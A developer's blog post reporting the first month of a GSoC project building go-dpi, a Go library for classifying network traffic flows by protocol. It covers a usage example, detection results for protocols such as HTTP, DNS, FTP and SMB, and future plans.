During the community bonding period I had an idea of how I wanted the project to look like and the structure I would like to go for. I thought that would be a good time to create some diagrams to communicate my ideas to my supervisor as there wasn’t much else I could do during that period: As I was going to create a new project, I had no existing code base to get familiar with, except for reading the docs of similar libraries that could eventually be used inside the project, such as nDPI, libprotoident and AIEngine. I created the diagrams using https://draw.io, which made the process rather painless, and eventually shared them with my supervisor. They can now be found in the project wiki, at Workflow diagrams.

The project structure that we decided to go with was that the project would have many layers of classifiers. All of them would have the same purpose: Given a traffic flow (a collection of packets that belong to the same connection or “conversation”), try to guess the protocol for that flow. The difference would be how this classification happens and, hopefully, how much time each layer takes. So if the first, fast layer is not sure about a flow, the second one is used, etc.
Each layer resides in a different directory in the project and is independent from the other layers, though they should generally follow an interface for the APIs they expose. This should allow additional layers to be added easily, and for the user to choose a subset of layers to use. The planned layers are the following:

Heuristics
The simplest and fastest layer, it aims to have different heuristic methods to detect each protocol.
Wrappers
Wrappers for other libraries that do a similar job.
Machine learning
ML classifier trained on existing pcap dumps.

Setting up the project

As I had set up the trial project shortly before my actual GSoC project, setting it up was easy: I already knew how to publish the docs on godoc, how to use travis and coveralls and how a Go project structure should be in general. Coveralls in specific seemed a bit tricky to setup, as there is no official support for the Go language in coveralls, but the user-contributed goveralls was there to make things easy. Besides that, I also decided to use glide for managing the packages that the project depends on, as I saw that glutton, the honeypot project that my library would eventually be integrated into, was also using glide.

For more information about the set up of the project you may see the docs at https://godoc.org/github.com/mushorg/go-dpi. Also, there is a wiki that describes usage and development for the library at https://github.com/mushorg/go-dpi/wiki.

Current implementation

The current implementation of the library has the basic project structure down. The library exposes a simple API and classifies flows based on heuristics and wrappers. Most heuristics though are using only the ports used by the packets, so they will be redone soon in order to be port-independent. Instead, during the first month the wrappers were developed for the nDPI and libprotoident libraries. This way, while still in an early phase, the library should hypothetically offer at least the benefits of these two libraries.

Library example

The library and the modules APIs aim to be very simple and straightforward to use. The library relies on the gopacket library and its Packet structure. Once you have a Packet in your hands, it’s very easy to classify it with the library. First you need a flow that contains the packet. There is a helper function for constructing a flow from a single packet. Simply call:

flow := godpi.CreateFlowFromPacket(&packet)

Afterwards, classifying the flow can be done by simply calling:

proto, source := classifiers.ClassifyFlow(flow)

This returns the guess protocol by the classifiers as well as the source (which in this case will always be go-dpi).

The same thing applies for wrappers. However, for wrappers you also have to call the initialize function, and the destroy function before your program exits. All in all, the following is enough to run the wrappers:

wrappers.InitializeWrappers()
defer wrappers.DestroyWrappers()
proto, source = wrappers.ClassifyFlow(flow)

A minimal example application is included below. It uses both the classifiers and wrappers to classify a simple packet capture file. Note the helpful godpi.ReadDumpFile function that simply returns a channel with all the packets in the file.

package main

import "fmt"
import "github.com/mushorg/go-dpi"
import "github.com/mushorg/go-dpi/classifiers"
import "github.com/mushorg/go-dpi/wrappers"

func main() {
	packets, err := godpi.ReadDumpFile("/tmp/http.cap")
	wrappers.InitializeWrappers()
	defer wrappers.DestroyWrappers()
	if err != nil {
		fmt.Println(err)
	} else {
		for packet := range packets {
			flow := godpi.CreateFlowFromPacket(&packet)
			proto, source := classifiers.ClassifyFlow(flow)
			if proto != godpi.Unknown {
				fmt.Println(source, "detected protocol", proto)
			} else {
				fmt.Println("No detection made by classifiers")
			}
			proto, source = wrappers.ClassifyFlow(flow)
			if proto != godpi.Unknown {
				fmt.Println(source, "detected protocol", proto)
			} else {
				fmt.Println("No detection made by wrappers")
			}
		}
	}
}

Running this application (when you have the http.cap file in your /tmp folder) yields the following results:

go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
libprotoident detected protocol HTTP
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
libprotoident detected protocol HTTP
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol DNS
libprotoident detected protocol DNS
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol DNS
nDPI detected protocol DNS
go-dpi detected protocol HTTP
libprotoident detected protocol HTTP
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
libprotoident detected protocol HTTP
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
libprotoident detected protocol HTTP
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers
go-dpi detected protocol HTTP
No detection made by wrappers

The reason go-dpi is able to detect every single packet is because it uses port numbers, which won’t be allowed in the future.

The example app also nicely demonstrates the library. You can read about it here, or read about the dockerized version here.

Results

As the integration with the glutton honeypot isn’t working yet, for the testing of the library mostly the sample captures from the Wireshark site were used. Live capture from a device was also supported, but it’s easier to test for a specific protocol by using the appropriate capture file.

Using the example app, we can see both the classifications based on the heuristics (which should be right most of the time, as they currently use ports which won’t be the case when the library is finished) and on the wrappers. Since the wrappers are utilizing mature and well-established libraries, we would expect that they should work in most of the cases. While the wrappers do usually work, they have varying degrees of success with the different protocols. The status of the currently supported protocols are described below:

DNS, HTTP, ICMP, NetBIOS, SSL/TLS
These protocols are identified normally by the wrappers from the first request, at least in the tested cases. :)
FTP
The protocol is detected from the first client-sent packet (besides the TCP handshake). However, the server is first supposed to send a packet with the code 220, which means the service is ready. So we can’t really use this to guess that it’s an FTP connection on a live capture, before responding to it.
SMTP
Similar to FTP, it gets detected but the server must also send a packet with code 220, which is problematic if the library is used to understand the connection before sending a packet. Also sometimes it gets confused for POP3 instead by libprotoident.
SMB
Sometimes the flows do not get detected, by either nDPI or libprotoident. Also, sometimes classified as NetBIOS instead (as it runs over NetBIOS).
RDP
Neither wrapper seems to detect RDP in any of the dumps I found. Might be because it’s over COTP, which is over TPKT, two protocols I’ve never heard of before.
RPC
Same with the RDP protocol, neither wrapper seems to identify this. However I don’t know how either of these protocols work, so I need to dig deeper on this.

Plans for the future

With the wrappers mostly out of the way, the next task will be to focus on homemade classifiers for each protocol: This will be done first by creating heuristics, and then if it’s feasible by using machine learning. The heuristics should hopefully cover the weaknesses found on the wrappers in order to have a more complete library. Also, they should generally be faster than deferring the work to a library. Machine learning on the other hand might inherit the weaknesses of the captures that will be used for training, so for the protocols where there isn’t enough data available it might not lead to good results.

There is also the challenge of the detection of tunneled protocols over SSL, such as HTTPS. In order to detect HTTPS, we will probably have to first classify a flow as SSL and once the handshake is over figure out about the protocol underneath and classify it as the more specific HTTPS. It’s not clear yet if the structure of the project will need to change to support this.

Another possible task for the future could be the tracking of flows. Currently, each packet is treated and classified as a separate flow, in order to make it possible in the future to easily have more packets per flow. We will have to think however what the benefits of that would be for the heuristic classifiers, as the current nDPI wrapper implementation supports flows on its own and it will probably be hard to train the ML classifiers on flows instead of single packets.

Finally, there is the task of improving the processing time and parallelization of the library, which we haven’t looked into at all yet, in order to be capable to deal with as many packets as possible at a time.

nikofil’s blog

Making a firewall using eBPFs and cgroups

Implementing Signal’s Double Ratchet algorithm

Double Ratchet? How about a single one?

Key exchange using Extended Triple Diffie-Hellman

Symmetric Ratchet

Diffie-Hellman Ratchet

Conclusions

Rust-OS Kernel - Task scheduler

Userspace processes

Simple user processes

Executing a user process

Building a Task struct

The task context

Other info to save

The final Task struct

Interrupting the running process

Timer interrupt

Saving the context

Restoring the context

Testing the procedure

Scheduling processes

Rust-OS Kernel - To userspace and back!

What the hell is a usermode?

Enabling the page table for the user process

Creating a new page table

The usermode program

Mapping the program and the stack to virtual memory

Setting the GDT entries and MSR registers

Creating the new GDT entries

Setting the IA32_STAR model-specific register

System Call Extensions

iretq’ing ourselves to usermode

Setting the segment selectors

iretq specification

Final code to return to usermode

Seeing the return in GDB

syscall and sysret

IA32_LSTAR and IA32_FMASK

Saving the registers & stack

Calling our syscall

WASM Game of Life

Rust-OS Kernel buddy allocator - Part 3: Allocator manager

Buddy allocator manager

Constructing buddy allocators in a sort of sane manner

Rust-OS Kernel buddy allocator - Part 2: Buddy allocator

Wtf is a buddy allocator

Implementing the buddy system

Rust-OS Kernel buddy allocator - Part 1: Creating a simple allocator

Allocating a page

Getting Rust to use our allocator

Testing the global allocator

E-class < 3.6 code execution

Part 1: SQL injection

Part 2: Doing something with the SQL injection

Part 3: Using the secret key

Part 4: Achieving code execution

Remarks

First month of GSoC 2017

Project planning

Setting up the project

Current implementation

Library example

Results

Plans for the future

Setting the `IA32_STAR` model-specific register

`IA32_LSTAR` and `IA32_FMASK`